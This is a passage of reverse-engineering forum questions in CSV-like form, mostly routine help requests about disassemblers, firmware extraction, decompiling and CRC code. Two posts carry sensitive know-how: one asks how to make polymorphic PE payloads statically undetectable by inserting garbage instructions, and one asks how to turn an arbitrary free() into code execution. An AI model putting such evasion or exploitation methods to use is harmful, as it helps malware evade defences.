  4. +
  5. What to do next in order to get all the files ?
  6. +
  7. What's the correct way to pack the files to a .bin file after unpacking and +modifying them to flash it to the phone ?
  8. +
  9. Am i in the correct path ?
  10. +
+Firmware Link: http://www.mediafire.com/file/yl056lfk8xubt1o/GT-E1200Y_Hebrew_SINGAL_SIM.bin/file +" +"['radare2', 'ghidra']"," Title: ARM binary dissasembly, Hopper works, Ghidra and Radare2 don't for some functionsBody: I'm disassembling a large ARM binary and I see that for some functions both Ghidra and Radare2 appear to fail to disassemble certain functions whereas Hopper works for those same functions +In Ghidra - I see question marks at the (correct) address disassembly +
                         LAB_1006750e0                                   XREF[1]:     1006750d0(j)  
+   1006750e0 00 00 80 d2     mov        x0,#0x0
+   1006750e4 f4 03 13 aa     mov        x20,x19
+   1006750e8 b0 00 00 94     bl         FUN_1006753a8                                    undefined FUN_1006753a8()
+   1006750ec f0 ff ff 17     b          LAB_1006750ac
+   1006750f0 e2              ??         E2h
+   1006750f1 f3              ??         F3h
+   1006750f2 ff              ??         FFh
+   1006750f3 10              ??         10h
+   1006750f4 1f              ??         1Fh
+   1006750f5 20              ??         20h     
+   1006750f6 03              ??         03h
+   ...
+
+In radare2 - after seeking to the address and running af and pdf, I get: +"Linear size differs too much from the bbsum, please use pdr instead." +What can I do here to get these functions to disassemble in Ghidra and radare2? +" +"['ida', 'windows']"," Title: How to attach IDA Window back to be part of the IDA main windowBody: I accidently maximized the functions Window and now it is de attached from the main window:
+ +How can I attach it back to be part of the main window? I tried to drag it but it doesn't work. Also re opening IDA didn't help. +" +['c++']," Title: Detours ws2_32.dll [Send]Body: I have a program that calls send (), I need to change the host to my own, but this does not work (either the program crashes or the request does not reach the server) - I log requests on the server. What could be the problem? +
int WINAPI Mine_Send(SOCKET s, const char* buf, int len, int flags) {
+
+string sdata = "Host: myhost.com\r\r\nConnection: close\r\r\nAccept-Encoding: gzip,deflate\r\r\n\r\r\n";
+
+const char* cstr = sdata.c_str();
+
+return Real_Send(s, cstr, strlen(cstr), flags);
+}
+
+" +"['pe', 'iat']"," Title: PE - IAT resolve mechanismBody: I'm trying to understand how Windows is resolving functions with the IAT. +I have noticed that when a call is made to a Win API function, the structure of that call is not always the same (it's still consistent inside a binary, but not between two differents binary). +Sometime, if i follow the target address of that call, i find a jump to the resolved Win API function. +And sometime, it's directly a call to the resolved function. +For instance: + +Can someone explain me the this difference in the calling procedure ? +" +"['ida', 'idapython', 'script']"," Title: Determine if there is a cross reference using idapython given a specific addressBody: I want to end up in something like the following using idapython to determine if given a specific address there is an xref (without caring where the XREF comes from) +
ea_start = #
+ea_end = #
+for ea in range(ea_start,ea_end):
+    if hasXREF(ea):
+        doSomething()
+
+
+def hasXREF(addr):
+    
+    if [something]:
+        return true
+    else
+        return false
+
+" +"['decryption', 'decompress']"," Title: Seemingly compressed file with some readable textBody: I've been trying to modify a data file within an app which has random lines of readable text but is mostly incomprehensible, it has no file extension. +I think its compressed because I was able to find an older version of the same data file [same name, same location in game files] which has a much larger file size and is in plain text. +By default in the game files, the encrypted/compressed version is used but if I replace it with the older version it still works[all changes between them are however not present], this makes me think that the game does some sort of check to see if the file is compressed then decompresses it if appropriate. +What can potentially be done to decompress the current data file, or if its not compressed to convert it to plain text. +Thanks. +Edit 1: +Here are links to the original data files: +compressed +uncompressed older version +Thanks Gordon Freeman. +" +"['windows', 'dll-injection']"," Title: Are offsets within a loaded dll always the same relative to each other?Body: If I load a dll in 2 different processes, will the offsets calculations within one process hold for the other process? +I'm currently trying to patch the import table of a dll, once injected into a remote process. I was wondering if I could LoadLibrary and GetProcAddress in the injector process and simply math an expected location in the target process based on the address where the dll is loaded. +" +['file-format']," Title: I'm trying to decode this file that supposed to encode an imaged obtained by a laser systemBody: This file suppose to have an image obtained from a Laser system. Since it needs a propietary software for the decoder I have been slowed in order to get the data. I wonder if you guys know any way of decoding the information that is in this file. I tried using the fuzzy logic toolbox from matlab that says that reads a .fis file, but could not get it to work. Any ideas very welcome. Sample file +" +"['python', 'binary', 'encodings']"," Title: Decoding messages sent/received by Python websocket clientBody: I am using the websocket module for my client in python3, and I am trying to troubleshoot some errors I am getting that lead to the client disconnecting after seemingly random intervals.
+When I enabled trace with websocket.enableTrace(True) I can see some entries that I am not sure how to decrypt. Here is an example: +Thread-3:send: b'\x88\x82\xc1$\xf7\xa6\xc2\xcc' +Any idea how to decrypt the message and see if this could explain the source of my problem? +Thank you! +" +"['binary-analysis', 'ghidra']"," Title: Getting the object name through the Ghidra ScriptBody: I have a script written to work with Ghidra. I am doing some analysis in the script and save the results in a file. Right now, I am passing the name when a prompt ask the file name to save upon running the script. Though this is ok for one, I need to run this script in more than 100 objects at once(using the headless analyzer) and I want the file name to automatically taken from the object name. How could I do this? +For example, let's say I have an object file called mqtt.o. I need to take this name (mqtt) while saving the file which contains the results. I looked through the API, but still could not find a way to get the name of the object of analysis. Any help is appreciated. Thanks. +" +"['disassembly', 'assembly', 'pe', 'x86-64']"," Title: Garbage Assembly Code Generationat at random offsetsBody: Recently I've been working on a project. The main purpose of the project is to generated statically undetectable PE samples. Where each time one generates a PE sample, each generated sample is going to be significantly different than the previous one. I'll be using shikata_ga_nai (https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb) to achieve polymorphism. However I'm currently working to improve on garbage assembly generation. There are a lot of possibilities to create garbage assembly. However most of the encoders, including shikata_ga_nai generate garbage assembly at a fixed relative position - meaning the garbage instructions are placed at the end of the code or the beginning. Is there anyway to scatter these garbage instructions across the code WITHOUT messing up the conditional/unconditial jmp and call instructions with relative offsets? +For the sake of simplicity take the below piece of assembly as an example of a code that my PE file is going to execute +Payload +
0x42:   0F B7 2C 17             movzx   ebp, word ptr [rdi + rdx]
+0x46:   8D 52 02                lea     edx, [rdx + 2]
+0x49:   AD                      lodsd   eax, dword ptr [rsi]
+0x4a:   81 3C 07 57 69 6E 45    cmp     dword ptr [rdi + rax], 0x456e6957
+0x51:   75 EF                   jne     0x42
+
+Let's say the garbage instruction I want to insert is cmovne rsi, rsi. If I insert this instruction at the beginning or the end of the code the logic of it doesn't change. +However If I insert cmovne rsi, rsi before the cmp instruction the 0x4a offset, when the conditional jmp instruction at the 0x55 will execute, it's going to skip the instructions located at 0x42-> 0x42: movzx ebp, word ptr [rdi + rdx] and start executing at address 0x46 -> lea edx, [rdx + 2] becase the offset it's trying to jmp is relative to the rip. +(Old offset -> 0x42+ garbage instruction length -> 0x4= New WRONG offset -> 0x46 ) +Garbage padded payload +
0x42:   0F B7 2C 17             movzx   ebp, word ptr [rdi + rdx]
+0x46:   8D 52 02                lea     edx, [rdx + 2]
+0x49:   AD                      lodsd   eax, dword ptr [rsi]
+0x4a:   48 0F 45 F6             cmovne  rsi, rsi
+0x4e:   81 3C 07 57 69 6E 45    cmp     dword ptr [rdi + rax], 0x456e6957
+0x55:   75 EF                   jne     0x46
+
+Is there any approach I can take to resolve this? +" +"['firmware', 'binwalk']"," Title: Unable to unsquash from a FW dumpBody: After trying to unsquash a firmware dump from a router without success, I am asking for help. +I have a router with a BCM68380 CPU. After desoldering the TOSHIBA NAND chip I dumped the firmware (link to the FW) and proceed to extract it. Binwalk shows the following: +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+49788         0xC27C          CRC32 polynomial table, big endian
+589312        0x8FE00         CRC32 polynomial table, big endian
+2289136       0x22EDF0        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+2703360       0x294000        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+3808793       0x3A1E19        MySQL MISAM compressed data file Version 5
+5477496       0x539478        uImage header, header size: 64 bytes, header CRC: 0x1BD6643, created: 2017-08-31 09:59:50, image size: 26791936 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x8212135E, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: "rootfs"
+5477560       0x5394B8        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 26790128 bytes, 2251 inodes, blocksize: 262144 bytes, created: 2017-08-31 09:59:50
+32416240      0x1EEA1F0       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced
+32686576      0x1F2C1F0       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced
+46083560      0x2BF2DE8       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+46497792      0x2C58000       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+49270176      0x2EFCDA0       uImage header, header size: 64 bytes, header CRC: 0xFE9B6F73, created: 2017-01-09 09:50:20, image size: 25706496 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xD5593BBC, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: "rootfs"
+49270240      0x2EFCDE0       Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 25703081 bytes, 2266 inodes, blocksize: 262144 bytes, created: 2017-01-09 09:50:20
+74999328      0x4786620       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced
+75269664      0x47C8620       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced
+91914240      0x57A8000       UBI erase count header, version: 1, EC: 0x17, VID header offset: 0x800, data offset: 0x1000
+
+When extracted, the following files are shown (the squashfs.root folder is empty) +
2EFCDE0.squashfs  5394B8.squashfs  57A8000.ubi  squashfs-root
+
+Then I tried to uncompress the squashfs filesystem. At first I tried with unsquashfs which gave me this result: +
Lseek failed because Invalid argument
+File system corruption detected
+FATAL ERROR:failed to read file system tables
+
+On the other hand sasquatch gave me this result: +
SquashFS version [4.0] / inode count [2266] suggests a SquashFS image of the same endianess
+Parallel unsquashfs: Using 1 processor
+Lseek failed because Invalid argument
+read_block: failed to read block @0xbe23b7988e38debe
+read_uids_guids: failed to read id table block
+FATAL ERROR:failed to uid/gid table
+
+I also tried the same with firmware-mod-kit: +
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
+
+Scanning firmware...
+
+Scan Time:     2020-11-03 13:49:05
+Target File:   /mnt/c/Users/Ismael/Desktop/Nueva/Flash_data.bin
+MD5 Checksum:  31b617568a1ca2e060bea93fd23de338
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+49788         0xC27C          CRC32 polynomial table, big endian
+589312        0x8FE00         CRC32 polynomial table, big endian
+2289136       0x22EDF0        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+2703360       0x294000        uImage header, header size: 64 bytes, header CRC: 0x5BEEE4BD, created: 2017-08-31 09:59:39, image size: 2689910 bytes, Data Address: 0x80010000, Entry Point: 0x804505C0, data CRC: 0x44FFEAF7, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+3808793       0x3A1E19        MySQL MISAM compressed data file Version 5
+5477496       0x539478        uImage header, header size: 64 bytes, header CRC: 0x1BD6643, created: 2017-08-31 09:59:50, image size: 26791936 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x8212135E, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: "rootfs"
+5477560       0x5394B8        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 26790128 bytes, 2251 inodes, blocksize: 262144 bytes, created: 2017-08-31 09:59:50
+32416240      0x1EEA1F0       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced
+32686576      0x1F2C1F0       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced
+46083560      0x2BF2DE8       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+46497792      0x2C58000       uImage header, header size: 64 bytes, header CRC: 0x8F97D0FE, created: 2017-01-09 09:50:15, image size: 2688224 bytes, Data Address: 0x80010000, Entry Point: 0x8044DAD0, data CRC: 0x7E335D07, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "linux"
+49270176      0x2EFCDA0       uImage header, header size: 64 bytes, header CRC: 0xFE9B6F73, created: 2017-01-09 09:50:20, image size: 25706496 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xD5593BBC, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: lzma, image name: "rootfs"
+49270240      0x2EFCDE0       Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 25703081 bytes, 2266 inodes, blocksize: 262144 bytes, created: 2017-01-09 09:50:20
+74999328      0x4786620       PNG image, 921 x 359, 8-bit/color RGBA, non-interlaced
+75269664      0x47C8620       PNG image, 979 x 336, 8-bit/color RGBA, non-interlaced
+91914240      0x57A8000       UBI erase count header, version: 1, EC: 0x17, VID header offset: 0x800, data offset: 0x1000
+
+Extracting 49270240 bytes of  header image at offset 0
+Extracting squashfs file system at offset 49270240
+Extracting squashfs files...
+[sudo] password for ismael:
+Firmware extraction successful!
+
+It didn't give me any errors but it didn`t extract any squashfs files. +To remove the OOB in the firmware I have used NandTool +, which removes the OOB data. +Any help will be appreciated.Thanks. +Edit: Firmware with "Include Spare area" disabled link. +" +['unpacking']," Title: Question about unpackingBody: thank for reading, i'm a beginner trying to learn Malware Analysis and Reverse Engineering, at the moment I readed the book "Learning Malware Analysis", I fully understand it, but there is just one section that i can't grasp, Unpacking, I tried to manually unpack UPX without success even if I watched tutorial and did the exact same thing (Breakpoint on the famous jump and then dump with scylla and rebuild IAT, but nothing). +I don't understand how detect the instructions that unpack the executable, can someone give me the right resources to start learning unpacking? I already have tutorials like "unpacking xxxx" but I would prefere something more general, concepts that I need to know, I hope you understand my question, tell me if I said something wrong, thank you. +" +['macos']," Title: Extract closed format metadata from audio fileBody: I am writing an app to analyze .wav audio files and extract metadata. The way the metadata works for RIFF based files is shown in this picture: + +You need to have "format" and "data" subchunks, but then you can have as many subchunks as you want in the file. To extract a particular subchunk, you go to the first subchunk, read it's ID, and if its not the one you are looking for you get the subchunk size and then skip to the next subchunk ID. +Other examples of "open" subchunks are iXML and ID3. The one in particular I am hoping to read is from Soundminer, which is a searchable database program. Their subchunk ID is "SMED" so I am able to find that and copy the contents of their metadata. Being that it is a closed subchunk, I'm having difficulty turning that data into a readable format. +That being said, I have access to Soundminer, so I am able to write specific strings in the SMED metadata to hopefully decipher later in the data dump. +Since I'm completely new to this, I'm looking for advice on the best strategy to reverse engineer this metadata. It is a massive subchunk with the ability to store images and and waveform caches. I'm looking to just get some of the more simple data like "Description" and "Microphone". +I am on macOS so that may limit my methods. Also the app is being written in swift, but my current method is to dump out the hex values of that data to a text file and manually look for patterns, which I've been able to see some. For example if I write the letter "a" to the description, then analyze the file, I'll get the same repeated 16 digit value 09 14 c2 0c c3 0f 9f 8c, but if I put just one "a" then that value isn't there. It seems like it needs "aaaaaaaa" to give me the 09 14 c2 0c c3 0f 9f 8c. Obviously this a flawed strategy and not very likely to yield results. +" +"['windows', 'x86', 'x86-64', 'libraries', 'hooking']"," Title: Instruction-level hooking library for win32?Body: I am looking for instruction-level hooking library for win32 x86/x64. +
    +
  1. I want to write hook insertion and hook implementation code in C/C++ (compiled into dll). +(Therefore instrumentation tools are out of question. Injection is not a problem in my case.)
  2. +
  3. I need hooking onto arbitrary addresses. +I want the hooking library saving registers, call my native function, and then restoring registers, and return/jump to specific addresses.
  4. +
  5. It is very tedious to do this on manually at a per-site basis and therefore I want an existing library. Furthermore, x64 MSVC does not support asm. It seems that manual hook is impossible unless other tool-chain are used?
  6. +
+Does such kind of hooking libraries exists? +" +"['ida', 'decompilation', 'c', 'ida-plugin']"," Title: Custom IDA Decompilation FormatBody: Is there a way to customize the format of IDA's decompiled code? +e.g. +
char buf[7]; // [rsp+5h] [rbp-1Fh]
+
+to +
char buf[ 7 ]; // [ rsp + 5h ] [ rbp - 1Fh ]
+
+or +
switch (c)
+
+to +
switch( c )
+
+" +"['disassembly', 'objdump']"," Title: How to parse objdump output data?Body: I'm somehow newbe in reverse engineering and currently I'm reading RE4B book. + +In the image above: +
    +
  1. I can't figure out the role of s in the functions f1 and f2. As far as I know, based on the last line in the image (i.e. s db 'world', 0xa, 0), the variable s is a pointer to the beginning of world string. So, why this value is over-writed with -1C in the functions? (s = dword ptr -1Ch)
  2. +
  3. As you know, we can use stack to pass function arguments. The question is why the compiler used mov [esp+1Ch+s], offset s ; "world\n" instead of mov [esp], offset s ; "world\n"?
  4. +
+" +['python']," Title: How to turn .pyd files generated by pyinstaller into source?Body: I have decompiled a pyinstaller exe and then decompiled the .pyc source inside it. only problem is the source is this +
import secretmodule
+secretmodule.main()
+
+Annoying, I know. i found secretmodule but it is a .pyd and the decompiler I use only decompiles pyo or pyc. I searched how to decompile a pyd but it said it was almost impossible and I assumed pyinstaller makes pyd's differently so I continued. +How do I decompile a pyd file made specifically by pyinstaller +" +"['assembly', 'decompilation', 'c', 'functions']"," Title: Converting rep movsd to to C without memcpyBody: So I am currently in the stages of creating binexact version of functions in decompiled code. I noticed that in this function the rep movsd is called and logically this is translated as Qmemcpy/memcpy when transformed to Pcode in IDA. In order to bin exact this , I cannot use memcopy because a function will be called and the code wont be bin exact. Is there a way to try to force the use of rep movsd ? I understand this is somewhat compiler dependent, but I was thinking I could write this differently to force the same effect. +C code This is what I need to change to match original assembly +
BOOL NetSendCmdReq2(BYTE bCmd, BYTE mast, BYTE pnum, TCmdGItem *p)
+{
+    DWORD ticks;
+    TCmdGItem cmd;
+
+    memcpy(&cmd, p, sizeof(cmd));
+    cmd.bCmd = bCmd;
+    cmd.bPnum = pnum;
+    cmd.bMaster = mast;
+
+    ticks = GetTickCount();
+    if (!cmd.dwTime) {
+        cmd.dwTime = ticks;
+    } else if (ticks - cmd.dwTime > 5000) {
+        return FALSE;
+    }
+
+    multi_msg_add((BYTE *)&cmd.bCmd, sizeof(cmd));
+
+    return TRUE;
+}
+
+Compare Assembly: (This is what the C above compiles to) +
push ebp
+mov ebp, esp
+sub esp, 0x28
+push ebx
+push esi
+push 0x26
+lea eax, [ebp-0x28]
+push [ebp+0x10]
+mov bl, dl
+mov esi, ecx
+push eax
+call <imm_fn> <------ This should be rep movsd rather than a call.
+mov al, [ebp+0x0C]
+add esp, 0x0C
+mov [ebp-0x26], al
+mov al, [ebp+0x08]
+test esi, esi
+mov [ebp-0x28], bl
+mov [ebp-0x27], al
+jnz $+0xF
+and [ebp-0x0E], esi
+mov dl, 0x26
+lea ecx, [ebp-0x28]
+call <imm_fn>
+jmp $+0x25
+call [<indir_fn>]
+cmp dword ptr [ebp-0x0E], 0x00
+jnz $+0x5
+mov [ebp-0x0E], eax
+jmp $+0xA
+sub eax, [ebp-0x0E]
+cmp eax, 0x1388
+jnle $+0xA
+mov dl, 0x26
+lea ecx, [ebp-0x28]
+call <imm_fn>
+
+pop esi
+pop ebx
+leave
+ret 0x0C
+
+Origional Assembly : This is what should be matched . +
push ebp 
+mov ebp, esp
+sub esp, 0x28
+
+push esi
+mov esi, [ebp+0x10]
+push edi
+mov eax, ecx
+push 0x09
+lea edi, [ebp-0x28]
+pop ecx
+rep movsd < ----- Notice this doesn't make an actual call.
+mov cl, [ebp+0x0C]
+movsw  
+mov [ebp-0x26], cl
+mov cl, [ebp+0x08]
+test eax, eax
+mov [ebp-0x28], dl
+mov [ebp-0x27], cl
+jnz $+0xF
+and [ebp-0x0E], eax
+mov dl, 0x26
+lea ecx, [ebp-0x28]
+call <imm_fn>
+jmp $+0x25
+call [<indir_fn>]
+cmp dword ptr [ebp-0x0E], 0x00
+jnz $+0x5
+mov [ebp-0x0E], eax
+jmp $+0xA
+sub eax, [ebp-0x0E]
+cmp eax, 0x1388
+jnle $+0xA
+mov dl, 0x26
+lea ecx, [ebp-0x28]
+call <imm_fn>
+pop edi
+pop esi
+
+leave
+ret 0x0C 
+
+" +"['decompilation', 'python']"," Title: How to reverse engineer cx_Freeze exe's?Body: How to reverse engineer Python scripts turned into binaries with cx_Freeze? +" +"['exploit', 'heap']"," Title: I found an arbitrary free, (free()), managed to locate a candidate address I wish to free, how do I proceed from here?Body: While doing my first code auditing as a novice vulnerability resarchers I managed to stumble upon +my first free() in my target. +I managed to find a candiate location where I can control this value and thus trick my target to free any address. +Given I can turn this free() to an infoleak, how do I proceed from here with getting code execution? +Should I read Malloc-Demaleficarum and follow one of houses in order to trick malloc into returning my fake chunk? (i can call this free many times once i defeated ASLR). +Any hints and advice will be very welcome, I'm looking for the methodolodgy rather than a full step-by-step solution. +" +['ida']," Title: IDA PRO: How to set conditional breakpoint on a register value?Body: I want to set a breakpoint when the register EAX = 00000001 +" +['ida']," Title: IDA PRO: How to set conditional breakpoint on a EAX register value?Body: I want a breakpoint when the EAX record == 1. here's an IDC script that does this, but it is very slow. does anyone have a faster script or plugin that does this? +
#include <idc.idc>
+
+static main()
+{
+    for(;;)
+    {
+        StepInto();
+         
+        if (GetDebuggerEvent(WFNE_SUSP, -1) == STEP)
+        {
+            if (GetRegValue("EAX") == 0) 
+            {
+                msg("EAX:%08Xh\n", eax);
+                break;
+            }
+        }        
+    }
+    PauseProcess();
+}
+
+" +['ida']," Title: how can I diff two ARM32 binaries at assembly code level?Body: I'm looking for a tool like Beyond Compare, meld, kdiff, etc. which can be used to compare two disassembled binaries. I know that there's binary (hex) comparison, which shows difference by hex values, but I'm looking for something that shows op-codes and arguments. +Anyone knows something that can help ? + +" +"['disassembly', 'c', 'static-analysis', 'crc']"," Title: Delphi mt38 CRC (Tricore 1766 Arch)Body: I want to calculate CRC32 for Delphi mt38 and found the below assembly algorithm and converted it to C. It seems that this algorithm is defined for n = 256 or 1024. I want to calculate CRC32 for n = 1638400 and expect to get CRC32 = 0xFB6568AF for input data = {0}, but it doesn't give the expected answer. How can I calculate it? +Thank you in advance. +The assembly algorithm: +
CheckSum:                               ; CODE XREF: sub_CDBA6
+            movh.a          a15, #@HIS(CKS_loop_count)
+            lea             a15, [a15]@LOS(CKS_loop_count)
+            ld.b            d15, [a15]0
+            jz16            d15, loc_CE256
+            mov32           d14, #0x100
+            j16             loc_CE25A
+; ---------------------------------------------------------------------------
+
+loc_CE256:                              ; CODE XREF: CheckSum
+            mov32           d14, #0x400
+
+loc_CE25A:                              ; CODE XREF: CheckSum
+            mov16           d13, #0
+            movh.a          a14, #@HIS(table_address)
+            lea             a14, [a14]@LOS(table_address)
+            j16             loc_CE2FA
+; ---------------------------------------------------------------------------
+
+loc_CE266:                              ; CODE XREF: CheckSum:loc_CE2FA
+            movh.a          a15, #@HIS(DATA_address)
+            ld32.a          a7, [a15]@LOS(DATA_address)
+            ld16.bu         d10, [a7]
+            ld32.w          d12, dword_D0000D34
+            ld32.w          d11, dword_D0000D30
+            jlt.u           d12, d11, loc_CE286
+            call32          sub_7FCC0
+            add16           d11, d2
+            jlt.u           d12, d11, loc_CE2A8
+
+loc_CE286:                              ; CODE XREF: CheckSum+36
+            mov.u           d6, #0xFFFF
+            ld32.w          d15, CRC_value
+            sh32            d7, d15, #-8
+            addih           d6, d6, #0xFF
+            and16           d7, d6
+            xor16           d15, d10
+            and32           d15, d15, #0xFF
+            addsc16.a       a15, a14, d15, #2
+            ld16.w          d15, [a15]
+            xor16           d15, d7
+            st32.w          CRC_value, d15
+loc_CE2A8:                              ; CODE XREF: CheckSum+40
+            movh.a          a15, #@HIS(DATA_address)
+            ld32.a          a7, [a15]@LOS(DATA_address)
+            add16.a         a7, #1
+            lea             a15, [a15]@LOS(DATA_address)
+            st16.a          [a15], a7
+            ld32.w          d15, dword_D0000D34
+            add16           d15, #1
+            st32.w          dword_D0000D34, d15
+            ld32.w          d7, dword_D0000D26
+            jlt.u           d15, d7, loc_CE2F8
+            ld32.w          d15, CRC_value
+            movh.a          a15, #@HIS(CRC_Variable)
+            st32.w          [a15]@LOS(CRC_Variable), d15
+            mov16           d15, #1
+            st32.b          take_CKS_var, d15
+            movh.a          a15, #@HIS(CKS_loop_count)
+            lea             a15, [a15]@LOS(CKS_loop_count)
+            ld.b            d15, [a15]0
+            jnz16           d15, loc_CE2FE
+            mov16           d15, #1
+            movh.a          a15, #@HIS(CKS_loop_count)
+            lea             a15, [a15]@LOS(CKS_loop_count)
+            st16.b          [a15], d15
+            ret16
+; ---------------------------------------------------------------------------
+
+loc_CE2F8:                              ; CODE XREF: CheckSum+84
+            add16           d13, #1
+
+loc_CE2FA:                              ; CODE XREF: CheckSum+22
+            jlt.u           d13, d14, loc_CE266
+
+loc_CE2FE:                              ; CODE XREF: CheckSum+A6
+            ret16
+; End of function CheckSum
+
+The converted C algorithm: +
uint32_t crc32(uint32_t n, uint32_t *data) {
+    uint32_t i = 0;
+    uint32_t ch;
+    crc = 0xFFFFFFFF;
+    while (i < n) {
+        ch = data[i];
+        crc = ((crc >> 8) & 0xFFFFFF) ^
+              *(crc32_table + ((((crc ^ ch) & 0xFF) << 2) & 0xFF));
+        i++;
+    }
+    return crc;
+}
+
+" +"['ida', 'dos']"," Title: Finding Code Reference String in MS-DOS 16-bit Executable with IDA ProBody: Have an application that has code to detect serial port model. I'm trying to work out how it works through static analysis. I have unpacked the EXE and can find the references to the strings: +
dseg:2DA8 38 32 35 30 00           a8250     db '8250',0      ; DATA XREF: seg124:4EC1↑o
+dseg:2DAD 31 36 34 35 30 00        a16450    db '16450',0     ; DATA XREF: seg124:4EC6↑o
+dseg:2DB3 31 36 35 35 30 00        a16550    db '16550',0     ; DATA XREF: seg124:4ECB↑o
+dseg:2DB9 31 36 35 35 30 41 46 00  a16550af  db '16550AF',0   ; DATA XREF: seg124:4ED0↑o
+dseg:2DC1 31 36 35 35 31 00        a16551    db '16551',0     ; DATA XREF: seg124:4ED5↑o
+dseg:2DC7 31 36 35 35 32 00        a16552    db '16552',0     ; DATA XREF: seg124:4EDA↑o
+dseg:2DCD 38 32 30 35 30 00        a82050    db '82050',0     ; DATA XREF: seg124:4EDF↑o
+dseg:2DD3 38 32 35 31 30 00        a82510    db '82510',0     ; DATA XREF: seg124:4EE4↑o
+
+Now when when I hit x to find the XRef for these I am taking to strings and the string length values: +
seg124:4EC0 04                               db    4   
+seg124:4EC1 A8 2D 26 6A                      dd a8250         ; "8250"
+seg124:4EC5 05                               db    5   
+seg124:4EC6 AD 2D 26 6A                      dd a16450        ; "16450"
+seg124:4ECA 05                               db    5   
+seg124:4ECB B3 2D 26 6A                      dd a16550        ; "16550"
+seg124:4ECF 07                               db    7   
+seg124:4ED0 B9 2D 26 6A                      dd a16550af      ; "16550AF"
+seg124:4ED4 05                               db    5   
+seg124:4ED5 C1 2D 26 6A                      dd a16551        ; "16551"
+seg124:4ED9 05                               db    5   
+seg124:4EDA C7 2D 26 6A                      dd a16552        ; "16552"
+seg124:4EDE 05                               db    5   
+seg124:4EDF CD 2D 26 6A                      dd a82050        ; "82050"
+seg124:4EE3 05                               db    5   
+seg124:4EE4 D3 2D 26 6A                      dd a82510        ; "82510"
+
+There is no reference to these automatically found by IDA. Is there a value or instruction I could search for to narrow the search. i.e. a reference to seg124:4ECB +I have also tried to use a live debugger but I get Out of Memory error which is why I'm trying to work it out statically +" +['ida']," Title: After jumping to the xref operand of a function I found via string searching in IDA, I am brought to an rdata section?Body: First post here, so sorry. I'll try to keep it short. Anyways, when trying to xref an operand (to find its offset), it brings me to an rdata function. It looks like this: +
.rdata:00000001419318D8                 dq offset aFhealth      ; "fHealth"
+
+Any idea how I can get the offset from this? It's the only thing that shows up when I search for fHealth in the strings view, and in this game the game itself is stored in the exe, not in another dll. +" +"['ida', 'decompilation', 'pe']"," Title: How can I get xrefs to class member variables in IDA?Body: I'm working on a decompilation of a windows PE (with its full debug symbols in a PDB) and I'm using IDA to help with it. +I want to know how I can get a list of all references to a given class member variable. When I press 'X' in a name that is a class member variable in the decompiler window it only shows xrefs to it within the actual function being decompiled. I want to see the references in all of the functions. Is that even possible without coding a script? +" +"['ida', 'disassembly', 'memory', 'address']"," Title: What is copy_block struct in Tricore Arch?Body: Recently I work on Tricore Arch to reverse an algorithm. But I had a problem to find a constant value(4 byte). the line of code shown below: +
ld32.w          d4, [a0]-0x68D4
+
+I know a0 = 0xD00032E0 but it seems I need to find the equivalent copy_block that tells I where d000032e0 was copied to. +1- basically what is Copy_Block in tricore?
